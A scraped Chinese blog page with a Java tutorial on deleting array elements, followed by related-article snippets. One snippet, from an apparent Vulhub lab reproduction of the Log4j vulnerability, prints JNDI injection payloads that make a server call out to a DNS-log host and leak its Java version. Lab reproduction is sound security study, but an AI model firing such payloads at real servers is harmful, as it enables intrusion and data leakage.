数组删除元素

数组删除元素

1.利用新的数组

将原数组arr的元素,复制到新数组newArr中,复制过程中将要删除的元素,选择不复制

public class Test01{public static void main(String [] args){String [] arr= {"zhangsan","lisi","wangmazi","tangliang"};//创建一个新的数组,长度设置为原数组-n,这里我们删除1个元素lisi ,所以长度设置为arr.length-1String [] newArr = new String[arr.length-1];int index = 0;  //设置一个索引值for(String name : arr){ //遍历arr数组if(!name.equals("lisi")){ //只要不是我们要删除的元素,newArr[index++] = name; //就复制给newArr的当前index ,然后index++}}arr = newArr; //将newArr的地址传递给arr//打印arr数组for(String str : arr){System.out.println(str);}}
}

输出:

在这里插入图片描述

缺点:数组作为容器,是存储数据的,这样的删除会让容器越变越小

2.利用数组元素往前移动

将要删除元素后面的元素全部往前移动,然后将最后以为赋值为null,这样数组的长度也不会变小

public class Test01{public static void main(String [] args){String [] arr= {"zhangsan","lisi","wangmazi","tangliang"};//遍历数组int num = 0 ;  for(int i =0 ;i<arr.length;i++){if (arr[i].equals("lisi")){num = i;   //获取要删除元素的下标}}//从要删除元素小表开始,后面的元素全部往前移动for(int i = num ; i<arr.length-1;i++){  //注意这里只遍历到倒数第二个元素,因为倒数第二个将倒数第一个往前移动后,倒数第一个找不到下一个元素arr[i] = arr[i+1];}arr[arr.length-1] = null; //将数组最后一个元素设置为nullfor(String name : arr){System.out.print(name+"\t");}}
}

输出:

在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/831295.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

C语言——操作符保姆级教学(含整形提升及算数转换)

操作符 一.操作符的分类二.原码、反码、补码三.移位操作符1.左移操作符&#xff1a;<<2.右移操作符&#xff1a;>> 四.位操作符1.按位与—— &2.按位或—— |3.按位异或—— ^4.按位取反—— ~ 五.逗号表达式六.条件操作符七.操作符的属性&#xff1a;优先级、…

408数据结构-树的基本概念与性质 自学知识点整理

树的定义 树是 n n n&#xff08; n ≥ 0 n≥0 n≥0&#xff09;个结点的有限集。当 n 0 n0 n0时&#xff0c;称为空树。 任意一棵非空树应具有以下特性&#xff1a; 有且仅有一个特定的被称为根的结点&#xff08;根结点&#xff09;。当 n &#xff1e; 1 n&#xff1e;1 …

PotatoPie 4.0 实验教程(32) —— FPGA实现摄像头图像浮雕效果

什么是浮雕效果&#xff1f; 浮雕效果是一种图像处理技术&#xff0c;用于将图像转换为看起来像浮雕一样的效果&#xff0c;给人一种凸起或凹陷的立体感觉&#xff0c;下面第二张图就是图像处理实现浮雕效果。 不过这个图是用Adobe公司的PS人工P图实现的&#xff0c;效果比较…

第一课 自动驾驶概述

1. contents 2. 什么是无人驾驶/自动驾驶 3 智慧出行大智慧 4. 无人驾驶的发展历程

Tracecat:开源 SOAR

Tracecat 是一个面向安全团队的开源自动化平台。 开发人员认为&#xff0c;每个人都应该可以使用安全自动化&#xff0c;特别是人手不足的中小型团队。 核心功能、用户界面和日常工作流程基于一流安全团队的现有最佳实践。 使用专门的人工智能模型来标记、总结和丰富警报。 …

Vagrant CentOS7 安装 Docker 及使用 Docker 安装 MySQL

1、安装 Docker 1.1、删除旧版本 sudo yum remove docker \docker-client \docker-client-latest \docker-common \docker-latest \docker-latest-logrotate \docker-logrotate \docker-engine 1.2、安装必要的依赖包 sudo yum install -y yum-utils 1.3、配置源地址&#xf…

Spark RDD的分区与依赖关系

Spark RDD的分区与依赖关系 RDD分区 RDD&#xff0c;Resiliennt Distributed Datasets&#xff0c;弹性式分布式数据集&#xff0c;是由若干个分区构成的&#xff0c;那么这每一个分区中的数据又是如何产生的呢&#xff1f;这就是RDD分区策略所要解决的问题&#xff0c;下面我…

<Linux> 权限

目录 权限人员相对于文件来说的分类更改权限文件的拥有者与所属组 权限 权限是操作系统用来限制对资源访问的机制&#xff0c;权限一般分为读、写、执行。系统中的每个文件都拥有特定的权限、所属用户及所属组&#xff0c;通过这样的机制来限制哪些用户、哪些组可以对特定文件…

VULHUB复现log4j反序列化漏洞-CVE-2021-44228

本地下载vulhub复现就完了&#xff0c;环境搭建不讲&#xff0c;网上其他文章很好。 访问该环境&#xff1a; POC 构造&#xff08;任选其一&#xff09;&#xff1a; ${jndi:ldap://${sys:java.version}.xxx.dnslog.cn} ${jndi:rmi://${sys:java.version}.xxx.dnslog.cn}我是…

Redis 实现分布式Session 登录相关细节

Redis 实现分布式Session 登录 借助 Redis 对 Session 信息进行统一的存储和管理&#xff0c;这样无论请求发送到哪台服务器&#xff0c;服务器都会去同一个 Redis 获取相关的 Session 信息&#xff0c;这样就解决了分布式系统下 Session 存储的问题。 【发送短信】校验手机号…

centos 中使用 kubekey 安装 k8s v1.22.12 支持 GPU 调用

环境准备&#xff1a; https://blog.csdn.net/m0_64519023/article/details/138184970 生成配置文件&#xff1a; 中间需要执行 ./kk create config --with-kubernetes v1.22.12 这个命令生成配置文件&#xff0c;保留生成的配置文件中 spec: hosts 下的 node1&#xff0c;将…

NLP自然语言处理和应用场景介绍

【A】NLP&#xff08;Natural Language Processing&#xff0c;自然语言处理&#xff09;是计算机科学与人工智能领域的一个分支&#xff0c;旨在让机器能够理解、解释、生成人类语言。它涵盖了语言文本的语法、语义、语用、语境等方面的处理。 NLP的具体应用场景包括但不限于…

双向链表专题

文章目录 目录1. 双向链表的结构2. 双向链表的实现3. 顺序表和双向链表的优缺点分析 目录 双向链表的结构双向链表的实现顺序表和双向链表的优缺点分析 1. 双向链表的结构 注意&#xff1a; 这⾥的“带头”跟前面我们说的“头节点”是两个概念&#xff0c;带头链表里的头节点…

C#描述-计算机视觉OpenCV(3):重映射

C#描述-计算机视觉OpenCV&#xff08;3&#xff09;&#xff1a;重映射 前言色彩波形图像重映射 前言 C#描述-计算机视觉OpenCV&#xff08;1&#xff09;&#xff1a;基础操作 C#描述-计算机视觉OpenCV&#xff08;2&#xff09;&#xff1a;图像处理 在前文中&#xff0c;描…

读取文件例题总结 python

主要是读取文件的操作&#xff0c;结合字典&#xff0c;列表&#xff0c;集合的综合例题 主要思路&#xff1a;先看文件结构 根据文件结构 划分 然后保存到列表中&#xff08;一般是二维列表&#xff09; 然后再保存到字典中进行一些列操作 1…学生成绩分析 #1.学生成绩分析…

pycharm批量注释或取消多行

1. 背景和介绍 在我们编写Python代码的过程中&#xff0c;注释是非常重要的。它可以帮助我们理解代码的逻辑、功能和用法&#xff0c;并且方便其他开发者阅读和维护代码。然而&#xff0c;在大型项目中&#xff0c;有时需要批量注释或取消注释多行代码&#xff0c;手动操作会非…

UI-Diffuser——使用生成性人工智能的UI原型设计

概述。 移动UI是影响参与度的一个重要因素&#xff0c;例如用户对应用的熟悉程度和使用的便利性。如果你有一个类似的应用程序&#xff0c;你可能会选择一个具有现代、好看的设计的应用程序&#xff0c;而不是一个旧的设计。然而&#xff0c;要从头开始研究什么样的UI最适合应…

Java中使用Redis实现分布式锁的三种方式

1. 导语 随着软件开发领域的不断演进,并发性已经成为一个至关重要的方面,特别是在资源跨多个进程共享的分布式系统中。 在Java中,管理并发性对于确保数据一致性和防止竞态条件至关重要。 Redis作为一个强大的内存数据存储,为在Java应用程序中实现分布式锁提供了一种高效的…

Go图片列表

需求 在一个页面浏览目录下所有图片 代码 package mainimport ("net/http""fmt""io/ioutil""sort""strings""strconv" )func handleRequest(w http.ResponseWriter, r *http.Request) {fmt.Println(r.Proto &…

静态库、动态库回顾

回顾一下库相关的知识点&#xff0c;总结备忘一下。在某种情况下&#xff0c;你有了如下的代码&#xff0c;结构如下 //pra.h #include <stdio.h> void test_01(); //pra.c #include "pra.h" void test_01() {printf("xxxxxxx----->%s %s()\n",…